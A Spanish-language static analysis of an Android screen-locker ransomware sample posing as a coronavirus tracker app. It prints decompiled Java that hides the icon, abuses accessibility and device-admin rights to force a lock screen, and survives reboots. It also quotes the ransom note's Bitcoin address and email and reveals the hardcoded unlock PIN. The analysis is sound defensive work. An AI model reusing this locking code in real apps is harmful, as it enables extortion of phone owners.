Analisis de aplicación Android

Archivo:

Coronavirus_Tracker.apk

Hash (SHA-256):

1B72847F42D4FC1296F7C4C1955523FC4CC7A323DBAD6B3BE5D94496C7F82E23

Análisis estático

En el proceso de analizar esta APK utilizamos JADX-GUI, una herramienta muy utilizada para realizar análisis estático de APKs y JARs.

El primer paso a tomar será buscar las clases que se invocan de forma normal en la aplicación:

- Abrimos la APK en JADX-GUI
- Buscamos el fichero AndroidManifest.xml
- Buscaremos la etiqueta **<application>** y, su atributo **android:name**, cuyo valor es:
    - com.device.security.MyApplication
- Buscamos las etiquetas **<activity>** y buscamos su atributo **android:name**.
- En este caso encontramos tres actividades:
    - com.device.security.activities.MainActivity
    - com.device.security.activities.StartServiceActivity
    - com.device.security.activities.BlockedAppActivity
- En el siguiente paso, encontramos dos etiquetas **<service>** y buscamos sus atributos **android:name**:
    - com.device.security.services.ForegroundAppService
    - com.device.security.accessibility.AppAccessibilityService
- Finalmente, encontramos dos etiquetas **<receiver>** y buscamos sus atributos **android:name** como hemos estado haciendo anteriormente:
    - com.device.security.receiver.ActivateDeviceAdminReceiver
    - com.device.security.receiver.RebootReceiver

Con lo realizado anteriormente, podemos ver los diferentes tipos de clases de la aplicación.

Ahora es momento de analizar las clases.

com.device.security.MyApplication

En esta clase, se localiza la aplicación en si. En la clase no hay mucho contenido, sin embargo, hay algo que llama la atención:

```
private static final String TAG = "AppLocker";
```

¿AppLocker? Que mala pinta…

com.device.security.activities.MainActivity

Aquí, vemos el código de la actividad principal, que se lanza al ejecutarse la aplicación.

Esta actividad presenta métodos con anotaciones @OnClick, que indican que el usuario podrá hacer clic en botones en la interfaz. Analizaremos estos métodos.

Aquí podemos localizar una colección de permisos de Android

```
static String[] permissions = {"android.permission.FOREGROUND_SERVICE",
"android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS",
"android.permission.RECEIVE_BOOT_COMPLETED"};
```

En el constructor ejecuta un método para desactivar las “Optimizaciones de batería” en la App:

```
   private static final int REQUEST_BATTERY_OPTIMIZATION = 101;

…

        Intent intent = new Intent();
        intent.setAction("android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS");
        intent.setData(Uri.parse("package:" + packageName));
        startActivityForResult(intent, REQUEST_BATTERY_OPTIMIZATION);
```

Y se localiza un método anotado OnClick para ser “Administrador del Dispositivo”

```
public void onDeviceAdminRequest() {
      if (!Util.isEnabledAsDeviceAdministrator()) {
         deviceAdministratorRequest();
      } else {
         Toast.makeText(getApplicationContext(), "Already Active as Device Admin",
1).show();
      }
   }
```

Y, otro método anotado OnClick para recibir permisos de Accesibilidad (¿Extraño?)

```
public void onAccessibilityPermissionRequest() {
      if (!Util.isAccessibilityEnabled(this)) {
         startActivity(new Intent("android.settings.ACCESSIBILITY_SETTINGS"));
      } else {
         Toast.makeText(getApplicationContext(), "Permission Already Granted.", 1).show();
      }
   }
```

Finalmente, otro método anotado OnClick que oculta la app:

```
public void onHideApp() {
      if (!Util.isEnabledAsDeviceAdministrator() || !Util.isAccessibilityEnabled(this)) {
         Toast.makeText(this, "Please Grant All Permissions", 0).show();
```

```
            return;
        }
        Util.startService(this);
        Util.hideAppIcon(this, getPackageName(),
"com.device.security.activities.MainActivity");
        SharedPreferencesUtil.setAppAsHidden(this, true);
        finish();
    }
```

com.device.security.activities.StartServiceActivity

Esta actividad se encarga de habilitar el servicio ForegroundAppService.

No hay nada mas que detallar sobre esta actividad.

com.device.security.activities.BlockedAppActivity

Aquí la cosa se pone chunga. Pero no desesperes.

En el constructor localizaremos que se le colocan unos OnClickListener a elementos de la interfaz:

- Un OnClickListener, que llama a verifyPin();
- Un OnKeyListener, que llama a verifyPin()
- Y finalmente, al elemento R “image_with_link” un Intent para abrir el navegador…

Analizaremos y encontraremos varios métodos:

- verifyPin (¿Qué tendrá que ver esto con el Coronavirus?)

```
private void verifyPin() {
    String trim = this.secretPin.getText().toString().trim();
    if (TextUtils.isEmpty(trim)) {
        Toast.makeText(this, "enter decryption code", 0).show();
    }
    if (trim.equals("4865083501")) {
        SharedPreferencesUtil.setAuthorizedUser(this, "1");
        Toast.makeText(this, "Congrats. You Phone is Decrypted", 0).show();
        finish();
        return;
    }
    Toast.makeText(this, "Failed, Decryption Code is Incorrect", 0).show();
}
```

ACORDARSE DEL NUMERO 4865083501

Y, el Intent del navegador…

```
public /* synthetic */ void lambda$onCreate$2$BlockedAppActivity(View view) {
    Intent intent = new Intent("android.intent.action.VIEW",
Uri.parse("https://qmjy6.bemobtracks.com/go/ff06aca3-21c7-4619-b27a-6bae0db6722b"));
    intent.addFlags(268435456);
    List<String> allBrowsersList = Util.getAllBrowsersList(this);
    if (allBrowsersList.size() > 0) {
        try {
            intent.setPackage(allBrowsersList.get(0));
            startActivity(intent);
        } catch (ActivityNotFoundException e) {
            e.printStackTrace();
        }
    } else {
        Toast.makeText(this, "No Browser App Found", 1).show();
    }
}
```

Como vemos, el intent contiene una URL:

https://qmjy6.bemobtracks.com/go/ff06aca3-21c7-4619-b27a-6bae0db6722b

Que resuelve a:

https://pastebin.com/GK8qrfaC

Que contiene:

> Here is how it works
> 1. make an account at www.coinbase.com
> 2. verify your identity
> 3. plug a payment method, paypal, credit card or else
> 5. navigate to "Send" page and select "Wallet Adress"
> 6. send 250$ worth of bitcoin to this adress: 18SykfkAPEhoxtBVGgvSLHvC6Lz8bxm3rU
> 7. once transaction is complete, send the transaction ID to this email:
> phc859mgge638@inbox.ru
> 8. wait until i respond

En el mensaje encontramos la dirección de Bitcoin:

18SykfkAPEhoxtBVGgvSLHvC6Lz8bxm3rU

Escaneamos las direcciones de Bitcoin:

Bitcoin:

https://www.blockchain.com/es/btc/address/18SykfkAPEhoxtBVGgvSLHvC6Lz8bxm3rU

Bitcoin Cash:

https://www.blockchain.com/es/bch/address/18SykfkAPEhoxtBVGgvSLHvC6Lz8bxm3rU

¿No te parece extraño que haya una dirección de Bitcoin?

com.device.security.services.ForegroundAppService

Esto es un servicio, un proceso ejecutado en segundo plano que no tiene Interfáz gráfica.

Este servicio se encarga de crear el canal de notificaciones, nombrado “Designius App Channel” y de colocar la notificación “Running in background...” en tus notificaciones.

com.device.security.accessibility.AppAccessibilityService

Este servicio tiene mas chicha.

El servicio está basado en un AccessibilityService, que permite interactuar con la interfaz y capturar tus “toques” en pantalla.

Básicamente captura los eventos de accesibilidad (Tocar pantalla, arrastrar, cambiar el contenido de la ventana…) y los trata según le plazca.

```
public void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {
    int eventType = accessibilityEvent.getEventType();
    if (eventType == 1) {
      try {
        List text = accessibilityEvent.getText();
        if (text != null && text.size() > 0) {
          String lowerCase = text.toString().toLowerCase();
          accessibilityEvent.getPackageName().toString();
          if (SharedPreferencesUtil.isAppHidden(this) &&
SharedPreferencesUtil.getAuthorizedUser(this).equals("0") &&
lowerCase.contains("designius app")) {
            startActivity(new Intent("android.settings.SETTINGS").addFlags(268435456));
            startBlockedActivity();
            performGlobalAction(2);
          }
        }
      } catch (Exception e) {
        Logger.d("OnViewClicked Error: " + e.getMessage());
      }
    } else if (eventType == 2) {
      try {
        accessibilityEvent.getPackageName().toString();
        accessibilityEvent.getText();
      } catch (Exception e2) {
        e2.getMessage();
      }
    } else if (eventType == 16) {
      Logger.d("OnTypeViewTextChanged: ");
      try {
        accessibilityEvent.getPackageName().toString();
      } catch (Exception e3) {
        Logger.d("OnTypeViewTextChanged Error: " + e3.getMessage());
      }
    } else if (eventType == 32) {
      Logger.d("OnWindowStateChanged: ");
      try {
        onBlocker(accessibilityEvent.getPackageName().toString());
      } catch (Exception e4) {
        Logger.d("OnWindowStateChanged Error: " + e4.getMessage());
      }
    } else if (eventType == 2048) {
      Logger.d("OnWindowContentChanged: ");
      try {
```

```
            onBlocker(accessibilityEvent.getPackageName().toString());
        } catch (Exception e5) {
            Logger.d("OnWindowContentChanged Error: " + e5.getMessage());
        }
    }
}
```

En este caso:

```
public /* synthetic */ void lambda$onBlocker$0$AppAccessibilityService(String str) {
    if (!lastWindowPackage.equals(str) && SharedPreferencesUtil.isAppHidden(this) &&
!Util.isBrowserApp(this, str) && Util.shouldRestrictDeviceUsage() &&
!str.equals("com.android.systemui") &&
!str.equals("com.samsung.android.app.cocktailbarservice") &&
!Util.getDefaultKeyboardPackage(this).contains(str) &&
!Util.getDefaultLauncherPackageName(this).equals(str) &&
SharedPreferencesUtil.getAuthorizedUser(this).equals("0")) {
        startBlockedActivity();
    }
    lastWindowPackage = str;
}
```

Si se cumplen cualquiera de los requesitos:

- Si se abre la aplicación cuando está “oculta” (Esta aplicación)
- Si no es una aplicación navegador (Chrome por ejemplo)
- Si la hora está entre 01:00:00 AM y las 11:59:59 PM
- Si el usuario no está “Autorizado”
- Si se abre otra aplicación que no sea el Launcher, el Teclado, cocktailbarservice o el systemui

Se abrirá un BlockedAppActivity.

```
private void startBlockedActivity() {
    startActivity(new Intent(this,
BlockedAppActivity.class).addFlags(131072).addFlags(268435456));
}
```

Simplemente, se encarga de fastidiar al usuario abriendo la actividad BlockedAppActivity cada vez que incumplamos esos requisitos.

com.device.security.receiver.ActivateDeviceAdminReceiver

Esta clase extiende de DeviceAdminReceiver y simplemente registrará en el Registro cada vez que se ejecuten estos métodos.

```
public void onEnabled(Context context, Intent intent) {
      super.onEnabled(context, intent);
      Log.d(TAG, "onEnabled");
   }

   public void onDisabled(Context context, Intent intent) {
      super.onDisabled(context, intent);
      Log.d(TAG, "onDisabled");
   }

   public void onLockTaskModeEntering(Context context, Intent intent, String str) {
      super.onLockTaskModeEntering(context, intent, str);
      Log.d(TAG, "onLockTaskEntering");
   }

   public void onPasswordChanged(Context context, Intent intent) {
      super.onPasswordChanged(context, intent);
      Log.d(TAG, "onPasswordChanged");
   }

   public void onPasswordFailed(Context context, Intent intent) {
      super.onPasswordFailed(context, intent);
      Log.d(TAG, "onPasswordFailed");
   }

   public void onPasswordSucceeded(Context context, Intent intent) {
      super.onPasswordSucceeded(context, intent);
      Log.d(TAG, "onPasswordSucceeded");
   }
```

com.device.security.receiver.RebootReceiver

Esta clase ejecuta un método cuando se ha reiniciado el dispositivo, permitiendo ejecutar lo que se quiera al reiniciar.

```
public void onReceive(Context context, Intent intent) {
      SharedPreferencesUtil.setAuthorizedUser(context, "0");
      Intent intent2 = new Intent(context, StartServiceActivity.class);
      intent2.addFlags(268435456);
      context.startActivity(intent2);
   }
```

Lo que hace esta clase es iniciar la actividad StartServiceActivity tras un reinicio.

Resumen

Esta aplicación, no es lo que dice ser.

Tras analizar el funcionamiento, podremos darnos cuenta que es una aplicación diseñada para bloquear tu teléfono, pedir un “rescate” y posteriormente eliminarse.

No es un riesgo en sí, ya que no enviará ningún fichero a ningún lugar y es sencillo de eliminar una vez se ha entendido como funciona por dentro.

Gracias a que los desarrolladores no fueron muy avispados, se olvidaron en el código el PIN de desbloqueo de la aplicación.

Recuerdas el numero de antes?

4865083501

Si utilizamos este numero, la aplicación dejará de molestarnos y al abrirla desde el icono, nos redireccionará a eliminarla.